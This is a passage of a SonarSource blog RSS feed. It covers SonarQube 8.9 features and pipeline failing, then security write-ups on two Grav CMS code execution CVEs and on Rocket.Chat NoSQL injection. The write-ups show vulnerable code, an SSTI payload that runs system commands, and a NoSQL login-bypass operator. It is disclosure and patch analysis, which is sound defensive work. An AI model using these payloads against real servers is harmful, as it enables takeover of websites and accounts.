higher.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Speaking of DevOps platforms, now when you configure a new DevOps platform, you can be sure you’ve done the configuration correctly (used the right URL, set permissions correctly, etc.). This means a SonarQube administrator can guarantee the configuration is correct before users start trying to use it.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/10f427f8-c9e7-4bb0-9bda-3cd3371afcf3/body-b75f7c52-e5a3-4f5e-bfa8-6922684aa536_%25235-2.png&quot; /&gt;&lt;h2&gt;#6 - Better Compute Engine Performance&lt;/h2&gt;&lt;p&gt;Once an analysis is completed scanner-side, it is sent to your SonarQube server to be processed. The sooner your analyses are processed by the Compute Engine, the sooner you get your project’s Quality Gate status and can find out if your code is squeaky clean (ready to be merged or released) or if it’s time to start fixing issues or improving your code coverage.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We’ll admit it -- as SonarQube itself has become more complex, so has the processing of analyses, and performance took a hit in SonarQube &lt;em&gt;v7.9 LTS&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In SonarQube &lt;em&gt;v8.9 LTS&lt;/em&gt;, we’ve made significant progress in improving the performance of the Compute Engine for all supported database platforms (using better caching and optimized queries), but we also made improvements specifically for SonarQube instances backed by an Oracle or Microsoft SQL Server database.&lt;/p&gt;&lt;h2&gt;#7 - Coverage Indicators are now color-blind friendly&lt;/h2&gt;&lt;p&gt;In SonarQube &lt;em&gt;v8.9 LTS&lt;/em&gt; we addressed feedback that the way Code Coverage was presented in SonarQube’s UI wasn’t friendly to color-blind users. We’ve improved SonarQube’s coverage indicators by adding a space between the two colors, and using a darker red. This will benefit to users with Deuteranomaly thanks to a greater contrast:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/cf8cb25d-f630-4970-bcb1-1bf63f548f43/body-92ea8b20-9599-44ab-9b22-efb9c5684336_MKTCOL-299%2Btable%25402x.png&quot; /&gt;&lt;p&gt;We’ve also:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Improved the accessibility of coverage treemaps for color-blind users&lt;/li&gt;&lt;li&gt;Ensured code coverage information is accessible for blind users using screen readers &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Accessibility is important to us, and we have big plans this year to keep improving it in our products. You can join the discussion in our &lt;a href=&quot;https://community.sonarsource.com/tag/accessibility&quot;&gt;SonarSource Community topics about accessibility&lt;/a&gt; , and reach out there if we are missing something.&lt;/p&gt;&lt;h2&gt;Just an upgrade away from it all&lt;/h2&gt;&lt;p&gt;If you haven’t tried &lt;em&gt;v8.9 LTS&lt;/em&gt; yet, I hope you now have 7 more reasons to prepare that upgrade with your team. This is a free version upgrade for all, and you can get the LTS in just a few clicks @ &lt;a href=&quot;https://www.sonarqube.org/downloads/&quot;&gt;SonarQube Downloads&lt;/a&gt; . Need more help getting started? Check the following resources:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/sonarqube-lts-89-upgrade&quot;&gt;SonarQube 8.9 LTS: 3 steps to a smooth upgrade&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Get help using the &lt;a href=&quot;https://community.sonarsource.com/tag/8-9-lts-upgrade&quot;&gt;#8-9-lts-upgrade tag in the SonarSource Community&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;--&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Something to add? &lt;a href=&quot;https://community.sonarsource.com/t/blog-post-7-more-reasons-to-upgrade-to-sonarqube-8-9-lts/44835&quot;&gt;Join us in the community&lt;/a&gt;!&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Broken pipelines for everyone!]]></title><description><![CDATA[With SonarQube 8.9 LTS, SonarSource has made failing the pipeline available for everyone, using any CI you want. But with great power comes ... well, you know. In this post you'll learn what went into the decision to make this available and what you'll want to watch out for when you use it.]]></description><link>https://www.sonarsource.com/blog/broken-pipelines-for-everyone</link><guid isPermaLink="false">daeb53ca-aba7-59e8-82d9-2b35dec0c979</guid><dc:creator><![CDATA[Christophe Havard]]></dc:creator><pubDate>Tue, 08 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With SonarQube 8.9 LTS, SonarSource has made failing the pipeline available for everyone, using any CI you want. For people watching for a long time, this might seem like a contradiction. Let me explain.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Yes, we have gone back and forth for a while on this feature, but the user community has remained constant: you want to be able to break the build to fail your CI/CD pipelines for a failing Quality Gate.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we heard you. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To understand what happened behind the scenes, let’s go back in history:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;We initially introduced the Build Breaker as a plugin (in 2013!), then deprecated it in 2016 for various reasons that have been detailed in &lt;a href=&quot;https://blog.sonarsource.com/why-you-shouldnt-use-build-breaker/&quot;&gt;a blog post by our CEO Olivier Gaudin&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Community users picked up the plugin and started to maintain it faithfully&lt;/li&gt;&lt;li&gt;Meanwhile, we introduced a proper support in for Jenkins pipelines: instead of polling your SonarQube instance for the Quality Gate status, we used the power of webhooks to make this operation totally asynchronous, separating the build pipeline (where the analysis takes place) from the release pipeline (where you decide if your code should make it to production, or not).&lt;br/&gt;The same kind of implementation can be found today in Azure DevOps with SonarCloud: we rely on the Release Gate feature to be able to detect the Quality Gate status during the release pipeline, leaving the build pipeline doing the analysis job (and failing only if the analysis fails).&lt;/li&gt;&lt;li&gt;As reality is sometimes tougher than we expect, we kept receiving dozens of requests regarding scenarios we couldn’t even imagine - scenarios that required users to stop the build pipeline when the SonarQube quality gate fails - while our progress toward a good implementation for CIs other than Jenkins crumbled.&lt;/li&gt;&lt;li&gt;Eventually we quietly released a custom solution for GitLabCI based on the “polling” approach, as a workaround.&lt;/li&gt;&lt;li&gt;As time went by and the demand for this feature remained constant, we finally recognized the validity of the use case, especially in light of increasing use of  automation and continuous delivery in the industry as a whole. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So yes, this is not the perfect solution we imagined for you. But at least it’s a solution. And, we&amp;#x27;ll keep trying to implement what we think is the best approach: a total decorrelation between the analysis status and the Quality Gate status. This type of full decorrelation will allow you to build your code properly and decide later, during the release stage, whether to deploy your code or not.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So from 8.9, it is available for everyone with the &lt;code&gt;sonar.qualitygate.wait&lt;/code&gt; parameter.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are a few things to note, however:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;In consultation with its maintainers, the BuildBreaker plugin compatibility officially ended.&lt;/li&gt;&lt;li&gt;Using &lt;code&gt;sonar.qualitygate.wait&lt;/code&gt;  has significant drawbacks: &lt;br/&gt;The use of this parameter will make the analysis step of your pipeline poll your SonarQube instance (your worker will keep sending requests) to retrieve the Quality Gate status.&lt;br/&gt;This may increase the load of your instance, and increase your pipeline duration (which could be important if your infrastructure price is based on the total pipeline duration).&lt;br/&gt;This will cause the analysis step to fail any time the Quality Gate fails, even if the actual analysis is successful.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As you all know, with great power comes great responsibility, so please use this parameter wisely. And in the meantime, rest assured that we will keep trying to offer what we believe to be the best solution possible for you, our users.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;--&lt;/p&gt;&lt;p&gt;&lt;em&gt;Something to add? &lt;a href=&quot;https://community.sonarsource.com/t/blog-post-broken-pipelines-for-everyone/44395/2&quot;&gt;Join us in the community&lt;/a&gt;!&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Grav CMS 1.7.10 - Code Execution Vulnerabilities]]></title><description><![CDATA[We responsibly disclosed two code execution vulnerabilities in Grav CMS, one of the most popular flat-file PHP CMS in the market. Let’s see what we can learn from them and discuss their patches!]]></description><link>https://www.sonarsource.com/blog/grav-cms-code-execution-vulnerabilities</link><guid isPermaLink="false">bc6cf5eb-311c-5f3b-92f1-4c1c89bf38a6</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Tue, 01 Jun 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the lineage of most recent flat-file PHP CMS, Grav CMS is a modern web platform to build fast, safe and extensible websites. It uses a modern technology stack with Twig, Symfony and Doctrine, and offers an administration dashboard that allows managing the whole website (structure, pages, static resources, etc.).  It was voted as “Best Flat File CMS” in 2017 and 2019 and is rapidly gaining traction with over 12k GitHub stars.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As simplicity and security are often key arguments when choosing a flat-file CMS, we recently pursued some security research on Grav CMS 1.7.10. As a result, we discovered two interesting vulnerabilities in the core and the dashboard (respectively CVE-2021-29440 and CVE-2021-29439). These issues can be exploited by authenticated attackers with low privileges, and allow them to compromise the website and its server. In this blog post, we will look at the technical details of these code vulnerabilities and how to patch them.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerabilities were confirmed on the last released version of Grav CMS (1.7.10) available at the time of our research and the associated &lt;em&gt;admin&lt;/em&gt; module (1.10.10), a module often deployed with Grav and offered as part of a bundle on the official website. The two years old Grav 1.2.0 was also confirmed to be vulnerable.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Remote attackers can leverage the vulnerabilities in multiple attack scenarios:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Credentials stuffing, granting access on the administration interface even with low privileges;&lt;/li&gt;&lt;li&gt;Compromised or malicious content author;&lt;/li&gt;&lt;li&gt;Presence of a Cross-Site Scripting vulnerability on the same perimeter.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Server-Side Template Injection and Code Execution vulnerability presented in this article are respectively&lt;strong&gt; &lt;/strong&gt;CVE-2021-29440 (affecting the Grav core) and CVE-2021-29439 (affecting the Grav Admin plugin). Both allow to execute arbitrary PHP code and system commands on the underlying server. After our report, the maintainers promptly fixed both issues and released Grav CMS 1.7.11.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here is a short demonstration of our exploit for CVE-2021-29439:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/cvuUdw8TbYA&quot;&gt;Grav CMS 1.7.10 Remote Code Execution&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical details&lt;/h2&gt;&lt;h3&gt;CVE-2021-29440: Unsafe Twig processing of static pages&lt;/h3&gt;&lt;p&gt;The Grav administration dashboard allows super-users to create new user accounts, and to grant them privileges in a very granular fashion. Depending on the user’s permissions, additional security mechanisms can be applied. A Cross-Site Scripting filter prevents non-super-users from pushing pages containing &lt;code&gt;script&lt;/code&gt; tags or &lt;code&gt;on*&lt;/code&gt; attributes. With this in mind, we thought it would be interesting to find a way to gain code execution from this level of privilege.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As for most flat-file content management systems focusing on Markdown, a header (usually named &lt;em&gt;Front Matter&lt;/em&gt;) can add contextual information regarding this specific page. It is often used to organize pages in categories, publishing content at a given route, etc. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After digging in Grav&amp;#x27;s code, we noticed that the front matter block supports a directive named &lt;code&gt;process.twig&lt;/code&gt;, which will apply a Twig rendering pass on the content before serving the page. While this behavior is disabled by default, users with basic page creation privileges enable this feature in the front matter:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;title: foo
process:
   twig: true&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Recent Server-Side Template Injection research convinced us of one thing: code execution depends on the context but is never too far away!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Looking through the code surrounding Twig, we quickly noticed that the rendering step is not sandboxed: in the Twig ecosystem, it means that any tag, filter, method and properties can be invoked. As mentioned in James Kettle’s &lt;a href=&quot;https://portswigger.net/research/server-side-template-injection&quot;&gt;&lt;em&gt;Server-Side Template Injection&lt;/em&gt;&lt;/a&gt;  article, PHP functions however are not mapped into Twig templates and must be explicitly declared. Grav worked around this limitation by registering a callback triggered on each unknown function call:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;system/src/Grav/Common/Twig/Twig.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if ($config-&gt;get(&apos;system.twig.undefined_functions&apos;)) {
    $this-&gt;twig-&gt;registerUndefinedFunctionCallback(function ($name) {
        if (function_exists($name)) {
            return new TwigFunction($name, $name);
        }
        return new TwigFunction($name, static function () {
        });
    });
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;From here, arbitrary code execution is basically obtained with the right &lt;em&gt;front matter &lt;/em&gt;and a template like &lt;code&gt;{{ system(&amp;quot;id&amp;quot;) }}&lt;/code&gt;: &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0fab2d3f-fbfa-459b-a4ea-2556ee92185a/body-21867695-343d-45f5-a353-3677a21cef9c_gracms-ssti-exploit.png&quot; /&gt;&lt;h3&gt;CVE-2021-29439: Arbitrary module installation&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the case of the admin plugin, most task handlers are implemented in &lt;code&gt;classes/plugin/AdminController.php&lt;/code&gt;. To dispatch the incoming request to the right one, a new hook is associated with the event &lt;code&gt;onPagesInitialized&lt;/code&gt; (in &lt;code&gt;admin/admin.php&lt;/code&gt;), and will ultimately call &lt;code&gt;AdminBaseController::execute()&lt;/code&gt;, which will perform an anti-CSRF check ([1]) and call the requested task ([2]):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;classes/plugin/AdminController.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public function execute()
{
    // [...]
    if (!$this-&gt;validateNonce()) {             // [1]
        return false;
    }
    $method = &apos;task&apos; . ucfirst($this-&gt;task);
    if (method_exists($this, $method)) {
        try {
            $response = $this-&gt;{$method}();      // [2]
        } catch (RequestException $e) {
      // [...]
    return $response;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As we can see, no permission check is performed here, and it is not the role of the CSRF protection to do it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Therefore, the usual implementation of a handler consists of a permission check with &lt;code&gt;AdminController::authorizeTask()&lt;/code&gt; ([1]) and then of the actual action, i.e. as seen in &lt;code&gt;AdminController::taskGetUpdates()&lt;/code&gt; ([2]):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;classes/plugin/AdminController.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected function taskGetUpdates()
{
   // [1], permission check
   if (!$this-&gt;authorizeTask(&apos;dashboard&apos;, [&apos;admin.login&apos;, &apos;admin.super&apos;])) {
       return false;
   }
   // [...]
   // [2], implementation
   try {
       $gpm = new GravGPM($flush);
       $resources_updates = $gpm-&gt;getUpdatable();&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We noticed that the permission check for &lt;code&gt;AdminController::taskInstallPackage()&lt;/code&gt; is slightly different, in a way it intends to be generic by checking that the current user has either the permission &lt;code&gt;admin.plugin&lt;/code&gt; or &lt;code&gt;admin.theme&lt;/code&gt;. However, as &lt;code&gt;$data[&amp;#x27;type&amp;#x27;]&lt;/code&gt; is fully controlled by the user, thus having any &lt;code&gt;admin.*&lt;/code&gt; permission (&lt;code&gt;admin.posts&lt;/code&gt;, &lt;code&gt;admin.login&lt;/code&gt;, etc.) is enough to pass the check and install an arbitrary package:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;classes/plugin/AdminController.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected function taskInstallPackage($reinstall = false)
{
   $data    = $this-&gt;post;
   $package = $data[&apos;package&apos;] ?? &apos;&apos;;
   $type    = $data[&apos;type&apos;] ?? &apos;&apos;;
   if (!$this-&gt;authorizeTask(&apos;install &apos; . $type, [&apos;admin.&apos; . $type, &apos;admin.super&apos;])) {
       $this-&gt;admin-&gt;json_response = [
           &apos;status&apos;  =&gt; &apos;error&apos;,
           &apos;message&apos; =&gt; $this-&gt;admin::translate(&apos;PLUGIN_ADMIN.INSUFFICIENT_PERMISSIONS_FOR_TASK&apos;)
       ];
       return false;
   }

   try {
       $result = Gpm::install($package, [&apos;theme&apos; =&gt; $type === &apos;theme&apos;]);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This primitive only allows fetching &lt;a href=&quot;https://getgrav.org/downloads/plugins&quot;&gt;official plugins listed on the website&lt;/a&gt;. While we do not plan to release the plugin’s name and the associated exploitation code (exercise left to the reader!), we were able to find an official plugin that let us obtain arbitrary code execution without requiring more privileges (see the video in the introduction).&lt;/p&gt;&lt;h2&gt;Patches&lt;/h2&gt;&lt;h3&gt;CVE-2021-29440&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Twig rendering vulnerability is not easy to address while maintaining full backward compatibility for existing websites. The maintainers decided to improve the undefined functions resolver to prevent “unsafe” ones to be called. The nature of PHP makes it very hard to establish such a list, so an additional filter had to be implemented to prevent the use of functions that could be used to obtain an &lt;code&gt;unserialize()&lt;/code&gt; primitive with the &lt;code&gt;phar&lt;/code&gt; scheme wrapper. While an allow list would have been ideal, the risk of breakage of existing instances was too important.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The maintainers are aware of the limitations of this solution and intend to fully address it in the next major release of Grav. You can find &lt;a href=&quot;https://github.com/getgrav/grav/commit/3d102825673ac58fbeb57bdf778e43b08fb7354c&quot;&gt;the patch&lt;/a&gt; and &lt;a href=&quot;https://github.com/getgrav/grav/security/advisories/GHSA-g8r4-p96j-xfxc&quot;&gt;the public advisory&lt;/a&gt; on GitHub. After the upgrade to 1.7.11, you should still take time to review the current accounts on your instance, remove the unused ones and assess the risk of credential stuffing.&lt;/p&gt;&lt;h3&gt;CVE-2021-29439&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This vulnerability was addressed by hardening the authorization checks before the dispatch to task handlers:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;classes/plugin/AdminBaseController.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public function execute()
{
    // Ignore blacklisted views.
    if (in_array($this-&gt;view, $this-&gt;blacklist_views, true)) {
            return false;
    }
    // Make sure that user is logged into admin.
    if (!$this-&gt;admin-&gt;authorize()) {
            return false;
    }
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Stricter checks were also added in the implementation of existing handlers:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;classes/plugin/AdminController.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected function taskInstallDependenciesOfPackages()
{
    $type = $this-&gt;view;
    if ($type !== &apos;plugins&apos; &amp;&amp; $type !== &apos;themes&apos;) {
            return false;
    }

    if (!$this-&gt;authorizeTask(&apos;install dependencies&apos;, [&apos;admin.&apos; . $type, &apos;admin.super&apos;])) {
            $this-&gt;admin-&gt;json_response = [
                &apos;status&apos;  =&gt; &apos;error&apos;,
                &apos;message&apos; =&gt; [...]        
        ];
            return false;
    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can find &lt;a href=&quot;https://github.com/getgrav/grav-plugin-admin/commit/a220359877fd1281f76ba732e5308e0e3002e4b1&quot;&gt;the patch&lt;/a&gt; and &lt;a href=&quot;https://github.com/getgrav/grav-plugin-admin/security/advisories/GHSA-wg37-cf5x-55hq&quot;&gt;the public advisory&lt;/a&gt; on GitHub. Meanwhile, if you can’t upgrade to the version that includes the aforementioned patches, you can still temporarily disable the plugin and perform manual edits of the content.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-09&lt;/td&gt;&lt;td&gt;We report all issues to the official email address&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-09&lt;/td&gt;&lt;td&gt;The maintainers discuss and acknowledge our findings&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-14&lt;/td&gt;&lt;td&gt;Grav 1.7.11 is released, fixing CVE-2021-29440&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-04-14&lt;/td&gt;&lt;td&gt;Grav Admin 1.10.11 is released, fixing CVE-2021-29439&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We were able to demonstrate the exploitation of two very distinct issues on the administration panel of Grav CMS 1.7.10, with only a reduced set of permissions. Both security issues can enable an attacker to execute arbitrary code on the targeted host server. Further, we analyzed how these severe vulnerabilities were patched.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We’ll be happy to discuss these bugs &lt;a href=&quot;https://community.sonarsource.com/t/new-security-research-code-execution-vulnerabilities-in-grav-cms-nosql-injections-in-rocket-chat/44117&quot;&gt;in our community forum thread.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is also interesting to note that another very cool unauthenticated code execution vulnerability &lt;a href=&quot;https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/&quot;&gt;was discovered&lt;/a&gt; by Mehmet Ince in the same code area just before we started our research.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we would like to thank the maintainers of Grav for acknowledging our advisory and fixing these vulnerabilities super fast in only 5 days.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[NoSQL Injections in Rocket.Chat 3.12.1: How A Small Leak Grounds A Rocket]]></title><description><![CDATA[We recently discovered vulnerabilities in Rocket.Chat, a popular team communications solution, that could be used to take over Rock.Chat instances.]]></description><link>https://www.sonarsource.com/blog/nosql-injections-in-rocket-chat</link><guid isPermaLink="false">f9fae434-6599-507a-81b6-06e1ff3ebeb8</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Tue, 18 May 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Rocket.Chat is one of the most popular open source solutions for team communication, written in JavaScript and TypeScript. It has more than 12 million users worldwide and there are over 800,000 server instances deployed that are being used to exchange confidential information and files. We discovered critical vulnerabilities in its source code that could have been used by an attacker to take complete control over a server, starting with as little as any user’s email address. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post we investigate these vulnerabilities by first taking a quick look at NoSQL databases, then explaining how injections look like in that context. We then analyze the found vulnerabilities and how they can be chained for an exploit. Finally we give advice on how to prevent such bugs in your applications.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;During the analysis of Rocket.Chat 3.12.1 we found two NoSQL Injection vulnerabilities. These can allow attackers to escalate their privileges, to execute arbitrary system commands on the host server, and to steal confidential user data and chat messages. Both vulnerabilities are fixed in version 3.13.2 and backported to older branches in versions 3.12.4 and 3.11.4.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To attack a Rocket.Chat instance, an attacker either needs an account or has to know the email address of any user that has 2-factor authentication (2FA) disabled. Some open source communities use public Rocket.Chat instances with open registration, which would be vulnerable. In other scenarios it can be easy to guess or find email addresses of users.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/leuTzRVTICA&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;We found two NoSQL Injection vulnerabilities in two separate components. Each one can be used on its own to take over an admin account but they use different injection approaches, making it interesting to see both. Combining them into a chain makes an attack less likely to be detected.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;MongoDB Injection Primer&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.mongodb.com/&quot;&gt;MongoDB&lt;/a&gt; is a popular document-oriented database and falls into the category of NoSQL databases. It consists of collections and documents, which are the respective equivalents of tables and rows in a relational database. Each document has a JSON-like structure with keys and values on multiple hierarchical levels. A document that represents a user could look like this:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Example document&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{
    _id: &quot;507f1f77bcf86cd799439011&quot;,
    name: &quot;admin&quot;,
    age: 42,
    secrets: {
        token: &quot;s3cr3t&quot;
    },
    role: &quot;admin&quot;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Queries also have such a JSON-like structure and describe which fields of a document have to have certain values in order to be contained in the result set. The query supports literal values but also operators. There are field-level operators that can be used to e.g. specify a numeric range, and there are top-level operators that can be used to build more complex queries. A query that returns all users that are over 18 years old and have the &lt;em&gt;admin&lt;/em&gt; role would look like this:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Example query&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{
    age: {
        $gt: 18
    },
    role: &quot;admin&quot;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A classic injection in this scenario occurs when a program expects a certain user-provided value to be a string, but it can also be an object. This happens often when user input comes in JSON format. In such a case, an attacker can for example bypass a login by specifying an object as the password parameter which contains an operator expression that is always true, like &lt;code&gt;{&amp;quot;$ne&amp;quot;:1}&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When exploiting SQL Injections, joins and subqueries are often used to leak data from different tables. There are equivalents of this in MongoDB, but they cannot be used in every scenario. Attackers have to get creative when they find a NoSQL Injection, because it usually does not give them the same capabilities that an SQL Injection would.&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;NoSQL Injection #1: Taking Over a Regular User &lt;/h3&gt;&lt;p&gt;During our research we managed to execute arbitrary code on the server, but we had to take small steps to get there. The first step for an attacker is to take over an unprivileged user account. One of the NoSQL Injections can be used without authentication, but it requires us to know the email address of a user that does not have two-factor authentication (2FA) enabled.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first vulnerability is CVE-2021-22911: a Blind NoSQL Injection that allows to leak a user’s password reset token. The vulnerable part of the code is located in the &lt;code&gt;getPasswordPolicy()&lt;/code&gt; method. This method can be called without being authenticated, which makes sense because the frontend needs to know the password policy when users are registering. Its parameter &lt;code&gt;params&lt;/code&gt; is coming from a user-controlled JSON value but is not validated in any way:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/RocketChat/Rocket.Chat/blob/f2817c056f9c063dd5f596446ef2e6c61634233b/server/methods/getPasswordPolicy.js#L7-L15&quot;&gt;&lt;strong&gt;server/methods/getPasswordPolicy.js&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 7   getPasswordPolicy(params) {
 8       const user = Users.findOne({ &apos;services.password.reset.token&apos;: params.token });
